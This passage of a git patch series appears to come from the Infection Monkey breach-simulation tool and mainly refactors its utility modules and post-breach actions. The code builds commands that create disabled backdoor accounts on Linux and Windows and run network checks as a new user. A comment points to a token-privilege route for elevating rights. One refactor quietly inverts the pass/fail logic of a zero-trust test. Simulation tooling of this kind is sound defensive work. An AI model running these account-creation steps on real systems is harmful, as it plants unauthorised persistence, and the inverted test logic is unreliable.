+        T1107Telem(status, get_monkey_dir_path()).send()
 
         if WormConfiguration.self_delete_in_cleanup \
                 and -1 == sys.executable.find('python'):
@@ -269,7 +270,7 @@ class InfectionMonkey(object):
                 T1107Telem(status, sys.executable).send()
 
     def send_log(self):
-        monkey_log_path = utils.get_monkey_log_path()
+        monkey_log_path = get_monkey_log_path()
         if os.path.exists(monkey_log_path):
             with open(monkey_log_path, 'r') as f:
                 log = f.read()
diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py
index 3a9adef57..5e448002c 100644
--- a/monkey/infection_monkey/network/tools.py
+++ b/monkey/infection_monkey/network/tools.py
@@ -10,7 +10,7 @@ import re
 from six.moves import range
 
 from infection_monkey.pyinstaller_utils import get_binary_file_path
-from infection_monkey.utils import is_64bit_python
+from infection_monkey.utils.environment import is_64bit_python
 
 DEFAULT_TIMEOUT = 10
 BANNER_READ = 1024
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 75acf6fe0..49c2404de 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -6,11 +6,11 @@ import subprocess
 import time
 
 from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
-from infection_monkey.monkey_utils.windows.new_user import NewUser, NewUserError
+from infection_monkey.utils.windows.new_user import NewUser, NewUserError
 from infection_monkey.post_breach.actions.add_user import BackdoorUser
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
-from infection_monkey.utils import is_windows_os
+from infection_monkey.utils.environment import is_windows_os
 
 PING_TEST_DOMAIN = "google.com"
 
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index 468a2b29b..89417757d 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -2,11 +2,11 @@ import os
 import logging
 
 from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION
-from infection_monkey.utils import is_windows_os
+from infection_monkey.utils.environment import is_windows_os
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.control import ControlClient
 from infection_monkey.config import WormConfiguration
-from infection_monkey.utils import get_monkey_dir_path
+from infection_monkey.utils.monkey_dir import get_monkey_dir_path
 from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
 from common.utils.attack_utils import ScanStatus
 from infection_monkey.exploit.tools.helpers import get_interface_to_target
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index fc074b563..22201ab7f 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -3,7 +3,7 @@ import subprocess
 
 from common.utils.attack_utils import ScanStatus
 from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
-from infection_monkey.utils import is_windows_os
+from infection_monkey.utils.environment import is_windows_os
 from infection_monkey.config import WormConfiguration
 from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
 
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index c68422d4c..b5dfa93c7 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -3,7 +3,7 @@ import inspect
 import importlib
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.post_breach.actions import get_pba_files
-from infection_monkey.utils import is_windows_os
+from infection_monkey.utils.environment import is_windows_os
 
 LOG = logging.getLogger(__name__)
 
diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt
index 0b56da2f7..06bf449da 100644
--- a/monkey/infection_monkey/readme.txt
+++ b/monkey/infection_monkey/readme.txt
@@ -62,7 +62,7 @@ a. Build sambacry binaries yourself
 	a.1. Install gcc-multilib if it's not installed
 		 sudo apt-get install gcc-multilib
 	a.2. Build the binaries
-		 cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner
+		 cd [code location]/infection_monkey/exploit/sambacry_monkey_runner
 		 ./build.sh
 
 b. Download our pre-built sambacry binaries
diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py
deleted file mode 100644
index f8b5cc56a..000000000
--- a/monkey/infection_monkey/utils.py
+++ /dev/null
@@ -1,62 +0,0 @@
-import os
-import shutil
-import struct
-import sys
-import tempfile
-
-from infection_monkey.config import WormConfiguration
-
-
-def get_monkey_log_path():
-    return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
-        else WormConfiguration.monkey_log_path_linux
-
-
-def get_dropper_log_path():
-    return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
-        else WormConfiguration.dropper_log_path_linux
-
-
-def is_64bit_windows_os():
-    """
-    Checks for 64 bit Windows OS using environment variables.
-    """
-    return 'PROGRAMFILES(X86)' in os.environ
-
-
-def is_64bit_python():
-    return struct.calcsize("P") == 8
-
-
-def is_windows_os():
-    return sys.platform.startswith("win")
-
-
-def utf_to_ascii(string):
-    # Converts utf string to ascii. Safe to use even if string is already ascii.
-    udata = string.decode("utf-8")
-    return udata.encode("ascii", "ignore")
-
-
-def create_monkey_dir():
-    """
-    Creates directory for monkey and related files
-    """
-    if not os.path.exists(get_monkey_dir_path()):
-        os.mkdir(get_monkey_dir_path())
-
-
-def remove_monkey_dir():
-    """
-    Removes monkey's root directory
-    :return True if removed without errors and False otherwise
-    """
-    try:
-        shutil.rmtree(get_monkey_dir_path())
-        return True
-    except Exception:
-        return False
-
-
-def get_monkey_dir_path():
-    return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name)
diff --git a/monkey/infection_monkey/monkey_utils/__init__.py b/monkey/infection_monkey/utils/__init__.py
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/__init__.py
rename to monkey/infection_monkey/utils/__init__.py
diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py
new file mode 100644
index 000000000..40a70ce58
--- /dev/null
+++ b/monkey/infection_monkey/utils/environment.py
@@ -0,0 +1,18 @@
+import os
+import struct
+import sys
+
+
+def is_64bit_windows_os():
+    """
+    Checks for 64 bit Windows OS using environment variables.
+    """
+    return 'PROGRAMFILES(X86)' in os.environ
+
+
+def is_64bit_python():
+    return struct.calcsize("P") == 8
+
+
+def is_windows_os():
+    return sys.platform.startswith("win")
diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py
new file mode 100644
index 000000000..bb69dae5b
--- /dev/null
+++ b/monkey/infection_monkey/utils/monkey_dir.py
@@ -0,0 +1,29 @@
+import os
+import shutil
+import tempfile
+
+from infection_monkey.config import WormConfiguration
+
+
+def create_monkey_dir():
+    """
+    Creates directory for monkey and related files
+    """
+    if not os.path.exists(get_monkey_dir_path()):
+        os.mkdir(get_monkey_dir_path())
+
+
+def remove_monkey_dir():
+    """
+    Removes monkey's root directory
+    :return True if removed without errors and False otherwise
+    """
+    try:
+        shutil.rmtree(get_monkey_dir_path())
+        return True
+    except Exception:
+        return False
+
+
+def get_monkey_dir_path():
+    return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name)
diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py
new file mode 100644
index 000000000..ad80bc73d
--- /dev/null
+++ b/monkey/infection_monkey/utils/monkey_log_path.py
@@ -0,0 +1,14 @@
+import os
+import sys
+
+from infection_monkey.config import WormConfiguration
+
+
+def get_monkey_log_path():
+    return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
+        else WormConfiguration.monkey_log_path_linux
+
+
+def get_dropper_log_path():
+    return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
+        else WormConfiguration.dropper_log_path_linux
diff --git a/monkey/infection_monkey/monkey_utils/windows/__init__.py b/monkey/infection_monkey/utils/windows/__init__.py
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/windows/__init__.py
rename to monkey/infection_monkey/utils/windows/__init__.py
diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/utils/windows/new_user.py
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/windows/new_user.py
rename to monkey/infection_monkey/utils/windows/new_user.py
diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py
index 4a165940d..af904b143 100644
--- a/monkey/infection_monkey/windows_upgrader.py
+++ b/monkey/infection_monkey/windows_upgrader.py
@@ -10,7 +10,7 @@ from infection_monkey.config import WormConfiguration
 from infection_monkey.control import ControlClient
 from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
 from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
-from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python
+from infection_monkey.utils.environment import is_windows_os, is_64bit_windows_os, is_64bit_python
 
 __author__ = 'itay.mizeretz'
 

From 889c8a23787a971d3d6fbf6944393ec6c820cdc3 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 13:53:33 +0300
Subject: [PATCH 63/78] Moved user add+delete commands into `utils/users`

---
 .../post_breach/actions/add_user.py           | 53 ++-----------------
 .../actions/communicate_as_new_user.py        | 10 ++--
 .../infection_monkey/utils/linux/__init__.py  |  0
 monkey/infection_monkey/utils/linux/users.py  | 21 ++++++++
 monkey/infection_monkey/utils/users.py        | 10 ++++
 .../windows/{new_user.py => auto_new_user.py} |  8 +--
 .../infection_monkey/utils/windows/users.py   | 18 +++++++
 7 files changed, 62 insertions(+), 58 deletions(-)
 create mode 100644 monkey/infection_monkey/utils/linux/__init__.py
 create mode 100644 monkey/infection_monkey/utils/linux/users.py
 create mode 100644 monkey/infection_monkey/utils/users.py
 rename monkey/infection_monkey/utils/windows/{new_user.py => auto_new_user.py} (89%)
 create mode 100644 monkey/infection_monkey/utils/windows/users.py

diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
index 9bb8cfcba..09c8d4796 100644
--- a/monkey/infection_monkey/post_breach/actions/add_user.py
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -1,61 +1,16 @@
-import datetime
-
 from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.config import WormConfiguration
+from infection_monkey.utils.users import get_commands_to_add_user
 
 
 class BackdoorUser(PBA):
     def __init__(self):
-        linux_cmds, windows_cmds = BackdoorUser.get_commands_to_add_user(
-            WormConfiguration.user_to_add, WormConfiguration.remote_user_pass)
+        linux_cmds, windows_cmds = get_commands_to_add_user(
+            WormConfiguration.user_to_add,
+            WormConfiguration.remote_user_pass)
         super(BackdoorUser, self).__init__(
             POST_BREACH_BACKDOOR_USER,
             linux_cmd=' '.join(linux_cmds),
             windows_cmd=windows_cmds)
 
-    @staticmethod
-    def get_commands_to_add_user(username, password):
-        linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
-        windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password)
-        return linux_cmds, windows_cmds
-
-    @staticmethod
-    def get_linux_commands_to_add_user(username):
-        return [
-            'useradd',
-            '-M',  # Do not create homedir
-            '--expiredate',
-            datetime.datetime.today().strftime('%Y-%m-%d'),
-            '--inactive',
-            '0',
-            '-c',  # Comment
-            'MONKEY_USER',  # Comment
-            username]
-
-    @staticmethod
-    def get_linux_commands_to_delete_user(username):
-        return [
-            'deluser',
-            username
-        ]
-
-    @staticmethod
-    def get_windows_commands_to_add_user(username, password, should_be_active=False):
-        windows_cmds = [
-            'net',
-            'user',
-            username,
-            password,
-            '/add']
-        if not should_be_active:
-            windows_cmds.append('/ACTIVE:NO')
-        return windows_cmds
-
-    @staticmethod
-    def get_windows_commands_to_delete_user(username):
-        return [
-            'net',
-            'user',
-            username,
-            '/delete']
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 49c2404de..725bf3bda 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -5,12 +5,12 @@ import string
 import subprocess
 import time
 
+from infection_monkey.utils.windows.auto_new_user import AutoNewUser, NewUserError
 from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
-from infection_monkey.utils.windows.new_user import NewUser, NewUserError
-from infection_monkey.post_breach.actions.add_user import BackdoorUser
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
 from infection_monkey.utils.environment import is_windows_os
+from infection_monkey.utils.linux.users import get_linux_commands_to_delete_user, get_linux_commands_to_add_user
 
 PING_TEST_DOMAIN = "google.com"
 
@@ -44,7 +44,7 @@ class CommunicateAsNewUser(PBA):
     def communicate_as_new_user_linux(self, username):
         try:
             # add user + ping
-            linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
+            linux_cmds = get_linux_commands_to_add_user(username)
             commandline = "ping -c 1 {}".format(PING_TEST_DOMAIN)
             linux_cmds.extend([";", "sudo", "-u", username, commandline])
             final_command = ' '.join(linux_cmds)
@@ -52,7 +52,7 @@ class CommunicateAsNewUser(PBA):
             self.send_ping_result_telemetry(exit_status, commandline, username)
             # delete the user, async in case it gets stuck.
             _ = subprocess.Popen(
-                BackdoorUser.get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True)
+                get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True)
             # Leaking the process on purpose - nothing we can do if it's stuck.
         except subprocess.CalledProcessError as e:
             PostBreachTelem(self, (e.output, False)).send()
@@ -64,7 +64,7 @@ class CommunicateAsNewUser(PBA):
         import win32api
 
         try:
-            with NewUser(username, PASSWORD) as new_user:
+            with AutoNewUser(username, PASSWORD) as new_user:
                 # Using os.path is OK, as this is on windows for sure
                 ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe")
                 if not os.path.exists(ping_app_path):
diff --git a/monkey/infection_monkey/utils/linux/__init__.py b/monkey/infection_monkey/utils/linux/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py
new file mode 100644
index 000000000..1acc87d72
--- /dev/null
+++ b/monkey/infection_monkey/utils/linux/users.py
@@ -0,0 +1,21 @@
+import datetime
+
+
+def get_linux_commands_to_add_user(username):
+    return [
+        'useradd',
+        '-M',  # Do not create homedir
+        '--expiredate',
+        datetime.datetime.today().strftime('%Y-%m-%d'),
+        '--inactive',
+        '0',
+        '-c',  # Comment
+        'MONKEY_USER',  # Comment
+        username]
+
+
+def get_linux_commands_to_delete_user(username):
+    return [
+        'deluser',
+        username
+    ]
diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py
new file mode 100644
index 000000000..68148d9e9
--- /dev/null
+++ b/monkey/infection_monkey/utils/users.py
@@ -0,0 +1,10 @@
+from infection_monkey.utils.linux.users import get_linux_commands_to_add_user
+from infection_monkey.utils.windows.users import get_windows_commands_to_add_user
+
+
+def get_commands_to_add_user(username, password):
+    linux_cmds = get_linux_commands_to_add_user(username)
+    windows_cmds = get_windows_commands_to_add_user(username, password)
+    return linux_cmds, windows_cmds
+
+
diff --git a/monkey/infection_monkey/utils/windows/new_user.py b/monkey/infection_monkey/utils/windows/auto_new_user.py
similarity index 89%
rename from monkey/infection_monkey/utils/windows/new_user.py
rename to monkey/infection_monkey/utils/windows/auto_new_user.py
index 87d2da3b8..5cf840ad1 100644
--- a/monkey/infection_monkey/utils/windows/new_user.py
+++ b/monkey/infection_monkey/utils/windows/auto_new_user.py
@@ -2,7 +2,7 @@ import logging
 import subprocess
 
 from infection_monkey.post_breach.actions.add_user import BackdoorUser
-
+from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user
 
 logger = logging.getLogger(__name__)
 
@@ -11,7 +11,7 @@ class NewUserError(Exception):
     pass
 
 
-class NewUser(object):
+class AutoNewUser(object):
     """
     RAII object to use for creating and using a new user in Windows. Use with `with`.
     User will be created when the instance is instantiated.
@@ -20,7 +20,7 @@ class NewUser(object):
 
     Example:
              # Created                           # Logged on
-        with NewUser("user", "pass") as new_user:
+        with AutoNewUser("user", "pass") as new_user:
             ...
             ...
         # Logged off and deleted
@@ -64,6 +64,6 @@ class NewUser(object):
         # Try to delete user
         try:
             _ = subprocess.Popen(
-                BackdoorUser.get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True)
+                get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True)
         except Exception as err:
             raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err))
diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py
new file mode 100644
index 000000000..0e6847cff
--- /dev/null
+++ b/monkey/infection_monkey/utils/windows/users.py
@@ -0,0 +1,18 @@
+def get_windows_commands_to_add_user(username, password, should_be_active=False):
+    windows_cmds = [
+        'net',
+        'user',
+        username,
+        password,
+        '/add']
+    if not should_be_active:
+        windows_cmds.append('/ACTIVE:NO')
+    return windows_cmds
+
+
+def get_windows_commands_to_delete_user(username):
+    return [
+        'net',
+        'user',
+        username,
+        '/delete']

From 77269fb3ce68a488ec2d64c9f713b807c8fe54ce Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 14:06:21 +0300
Subject: [PATCH 64/78] Extracted user name creation to separate function

---
 .../post_breach/actions/communicate_as_new_user.py          | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 725bf3bda..165173ced 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -35,12 +35,16 @@ class CommunicateAsNewUser(PBA):
         super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER)
 
     def run(self):
-        username = USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
+        username = self.get_random_new_user_name()
         if is_windows_os():
             self.communicate_as_new_user_windows(username)
         else:
             self.communicate_as_new_user_linux(username)
 
+    @staticmethod
+    def get_random_new_user_name():
+        return USERNAME + "_" + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
+
     def communicate_as_new_user_linux(self, username):
         try:
             # add user + ping

From b8f48d354278e78f02e02e2e3a13502afbefb0cc Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 14:45:39 +0300
Subject: [PATCH 65/78] Unpacking struct from winapi

---
 .../post_breach/actions/communicate_as_new_user.py | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 165173ced..770e96b7d 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -79,7 +79,7 @@ class CommunicateAsNewUser(PBA):
                     # Open process as that user:
                     # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
                     commandline = "{} {} {} {}".format(ping_app_path, PING_TEST_DOMAIN, "-n", "1")
-                    process_info = win32process.CreateProcessAsUser(
+                    process_handle, thread_handle, _, _ = win32process.CreateProcessAsUser(
                         new_user.get_logon_handle(),  # A handle to the primary token that represents a user.
                         None,  # The name of the module to be executed.
                         commandline,  # The command line to be executed.
@@ -95,18 +95,20 @@ class CommunicateAsNewUser(PBA):
                         # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
                     )
 
-                    ping_exit_code = win32process.GetExitCodeProcess(process_info[0])
+                    ping_exit_code = win32process.GetExitCodeProcess(process_handle)
                     counter = 0
                     while ping_exit_code == win32con.STILL_ACTIVE and counter < PING_WAIT_TIMEOUT_IN_SECONDS:
-                        ping_exit_code = win32process.GetExitCodeProcess(process_info[0])
+                        ping_exit_code = win32process.GetExitCodeProcess(process_handle)
                         counter += 1
-                        logger.debug("Waiting for ping to finish, round {}. Exit code: {}".format(counter, ping_exit_code))
+                        logger.debug("Waiting for ping to finish, round {}. Exit code: {}".format(
+                            counter,
+                            ping_exit_code))
                         time.sleep(1)
 
                     self.send_ping_result_telemetry(ping_exit_code, commandline, username)
 
-                    win32api.CloseHandle(process_info[0])  # Process handle
-                    win32api.CloseHandle(process_info[1])  # Thread handle
+                    win32api.CloseHandle(process_handle)  # Process handle
+                    win32api.CloseHandle(thread_handle)  # Thread handle
 
                 except Exception as e:
                     # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the

From bc94e5854a67f8565c249de5a66bcd16fd26e325 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 14:54:02 +0300
Subject: [PATCH 66/78] Moved handle close to finally block

---
 .../post_breach/actions/communicate_as_new_user.py     | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 770e96b7d..1b577e5d8 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -106,10 +106,6 @@ class CommunicateAsNewUser(PBA):
                         time.sleep(1)
 
                     self.send_ping_result_telemetry(ping_exit_code, commandline, username)
-
-                    win32api.CloseHandle(process_handle)  # Process handle
-                    win32api.CloseHandle(thread_handle)  # Thread handle
-
                 except Exception as e:
                     # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the
                     #  "Replace a process level token" right, using Local Security Policy editing. Worked, but only
@@ -118,6 +114,12 @@ class CommunicateAsNewUser(PBA):
                     #  2. need to find how to do this using python...
                     PostBreachTelem(self, (
                         "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send()
+                finally:
+                    try:
+                        win32api.CloseHandle(process_handle)
+                        win32api.CloseHandle(thread_handle)
+                    except Exception as err:
+                        logger.error("Close handle error: " + str(err))
         except subprocess.CalledProcessError as err:
             PostBreachTelem(self, (
                 "Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)),

From bb8a5bf55d1e19d6e6fe4b31ff13dedb27a6890d Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 14:56:34 +0300
Subject: [PATCH 67/78] Deleted TODO

---
 .../post_breach/actions/communicate_as_new_user.py         | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 1b577e5d8..5b5117681 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -107,11 +107,8 @@ class CommunicateAsNewUser(PBA):
 
                     self.send_ping_result_telemetry(ping_exit_code, commandline, username)
                 except Exception as e:
-                    # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the
-                    #  "Replace a process level token" right, using Local Security Policy editing. Worked, but only
-                    #  after reboot. So:
-                    #  1. need to decide if worth it, and then
-                    #  2. need to find how to do this using python...
+                    # If failed on 1314, it's possible to try to elevate the rights of the current user with the
+                    #  "Replace a process level token" right, using Local Security Policy editing. 
                     PostBreachTelem(self, (
                         "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send()
                 finally:

From 4330a397255e23dec83dae5d8f79660d5769898b Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 14:59:27 +0300
Subject: [PATCH 68/78] Removed unused PBA processing funcs

---
 .../post_breach/actions/communicate_as_new_user.py           | 2 +-
 .../cc/services/telemetry/processing/post_breach.py          | 5 +----
 2 files changed, 2 insertions(+), 5 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 5b5117681..1c5dfcf45 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -108,7 +108,7 @@ class CommunicateAsNewUser(PBA):
                     self.send_ping_result_telemetry(ping_exit_code, commandline, username)
                 except Exception as e:
                     # If failed on 1314, it's possible to try to elevate the rights of the current user with the
-                    #  "Replace a process level token" right, using Local Security Policy editing. 
+                    #  "Replace a process level token" right, using Local Security Policy editing.
                     PostBreachTelem(self, (
                         "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send()
                 finally:
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
index c67f64f59..c64849905 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
@@ -6,16 +6,13 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_use
 
 def process_communicate_as_new_user_telemetry(telemetry_json):
     current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
-    success = telemetry_json['data']['result'][1]
     message = telemetry_json['data']['result'][0]
+    success = telemetry_json['data']['result'][1]
     test_new_user_communication(current_monkey, success, message)
 
 
 POST_BREACH_TELEMETRY_PROCESSING_FUNCS = {
     POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry,
-    # `lambda *args, **kwargs: None` is a no-op.
-    POST_BREACH_BACKDOOR_USER: lambda *args, **kwargs: None,
-    POST_BREACH_FILE_EXECUTION: lambda *args, **kwargs: None,
 }
 
 

From dd9a4b2d101b1dcd7a7282c55f4bd6e7a35a57b8 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 15:04:22 +0300
Subject: [PATCH 69/78] Refactored test_new_user_communication, mostly
 separated to functions

---
 .../communicate_as_new_user.py                | 46 ++++++++++---------
 1 file changed, 25 insertions(+), 21 deletions(-)

diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
index 564ce4d20..0c36b7b94 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
@@ -5,31 +5,35 @@ from monkey_island.cc.models.zero_trust.event import Event
 
 
 def test_new_user_communication(current_monkey, success, message):
+    AggregateFinding.create_or_add_to_existing(
+        test=TEST_COMMUNICATE_AS_NEW_USER,
+        status=STATUS_PASSED if success else STATUS_FAILED,
+        events=[
+            get_attempt_event(current_monkey),
+            get_result_event(current_monkey, message, success)
+        ]
+    )
+
+
+def get_attempt_event(current_monkey):
     tried_to_communicate_event = Event.create_event(
         title="Communicate as new user",
         message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname),
         event_type=EVENT_TYPE_MONKEY_NETWORK)
-    events = [tried_to_communicate_event]
+    return tried_to_communicate_event
 
+
+def get_result_event(current_monkey, message, success):
     if success:
-        events.append(
-            Event.create_event(
-                title="Communicate as new user",
-                message="New user created by Monkey on {} successfully tried to communicate with the internet. "
-                        "Details: {}".format(current_monkey.hostname, message),
-                event_type=EVENT_TYPE_MONKEY_NETWORK)
-        )
-        test_status = STATUS_FAILED
+        event_to_append = Event.create_event(
+            title="Communicate as new user",
+            message="New user created by Monkey on {} successfully tried to communicate with the internet. "
+                    "Details: {}".format(current_monkey.hostname, message),
+            event_type=EVENT_TYPE_MONKEY_NETWORK)
     else:
-        events.append(
-            Event.create_event(
-                title="Communicate as new user",
-                message="Monkey on {} couldn't communicate as new user. Details: {}".format(
-                    current_monkey.hostname, message),
-                event_type=EVENT_TYPE_MONKEY_NETWORK)
-        )
-        test_status = STATUS_PASSED
-
-    AggregateFinding.create_or_add_to_existing(
-        test=TEST_COMMUNICATE_AS_NEW_USER, status=test_status, events=events
-    )
+        event_to_append = Event.create_event(
+            title="Communicate as new user",
+            message="Monkey on {} couldn't communicate as new user. Details: {}".format(
+                current_monkey.hostname, message),
+            event_type=EVENT_TYPE_MONKEY_NETWORK)
+    return event_to_append

From 76c642e4b334ed49fc1e372481a32ca32804d841 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 15:08:22 +0300
Subject: [PATCH 70/78] Lowered code dup in get_result_event

---
 .../communicate_as_new_user.py                | 23 ++++++++-----------
 1 file changed, 10 insertions(+), 13 deletions(-)

diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
